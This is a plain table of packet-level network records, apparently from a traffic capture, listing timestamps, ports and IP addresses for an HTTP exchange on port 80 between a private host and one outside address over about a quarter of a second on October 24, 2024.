Oct 24, 2024 11:02:32.383229971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383241892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383255005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383266926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383339882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.383342028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383339882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.383356094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383402109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383404016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.383414030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383426905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.383459091 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412339926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412362099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412375927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412390947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412403107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412415028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412442923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412442923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412513971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412528992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412540913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412540913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412570953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412606955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412643909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412745953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412759066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412770033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412832975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412846088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412858009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.412867069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.412899017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.413455963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413479090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413489103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413503885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413515091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413527966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413559914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.413738966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.413928032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413939953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413954020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.413994074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414004087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414006948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414020061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414025068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414032936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414042950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414048910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414170980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414262056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414273977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414284945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414372921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414412975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414426088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414438963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414450884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414464951 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414496899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414563894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414582014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414637089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414649010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414661884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414696932 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414794922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414877892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414891005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414901018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414911985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414943933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.414958954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.414973974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.415026903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.415052891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.415416002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.452954054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.452967882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.452980042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453044891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453186989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453200102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453212023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453244925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453284025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453296900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453320980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453321934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453351021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453368902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453440905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453470945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453560114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453581095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453592062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453605890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453697920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453697920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.453725100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.453855991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.493967056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.493989944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.494002104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.494209051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.494213104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.494227886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.494240046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.494304895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.494304895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.500292063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.500304937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.500318050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.500402927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.501190901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.501785994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.501807928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.501818895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.501888037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.501888037 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.501909971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.501923084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.501934052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502001047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.502011061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502022982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502036095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502072096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.502094030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502127886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.502127886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502140045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.502331018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531223059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531236887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531249046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531347036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531361103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531373978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531374931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531375885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531388044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531407118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531419992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531430960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531449080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531456947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531467915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531474113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531480074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.531507969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531563997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.531563997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.532646894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532691956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532736063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532747984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532766104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.532805920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532818079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532830000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532835007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.532836914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532849073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.532877922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.532929897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533026934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533039093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533111095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533111095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533489943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533510923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533560038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533575058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533576965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533620119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533631086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533644915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533664942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533664942 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533674955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533693075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533704996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533771992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533773899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533787012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533799887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533819914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533833981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533845901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533850908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533858061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533869982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533883095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533885002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533895016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533938885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533938885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.533968925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533982992 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.533998013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.534034014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.562813997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.571341991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571383953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571396112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571409941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571471930 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.571757078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571769953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571790934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571804047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571814060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571826935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571837902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.571871042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.571877956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571890116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.571918011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.571947098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.572112083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572173119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572184086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572230101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572242022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572254896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.572254896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572320938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.572374105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.572458982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572470903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572483063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.572546005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.612571001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612590075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612602949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612617016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612700939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612716913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.612718105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.612757921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612775087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.612802029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.613234043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.618926048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.618942022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.618953943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.618966103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.619062901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.619062901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620440006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620477915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620490074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620569944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620583057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620595932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620611906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620651007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620677948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620707989 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620727062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620738029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620749950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620764017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620779037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.620805025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620832920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.620832920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.633225918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.639300108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.649961948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.649981976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650005102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650021076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650032997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650042057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650047064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650060892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650077105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650087118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650139093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650139093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650178909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650193930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650201082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650259018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650273085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650285959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650295973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650357008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650357008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.650511980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650541067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.650652885 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651190042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651212931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651226044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651272058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651329041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651341915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651364088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651377916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651377916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651391983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651453972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651454926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651566029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651578903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651591063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651669979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651680946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651694059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651710987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651734114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651746988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.651783943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.651985884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652005911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652019024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652020931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652030945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652044058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652159929 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:32.652175903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652203083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652216911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:32.652245045 CEST	49756	80	192.168.2.6	185.215.113.16
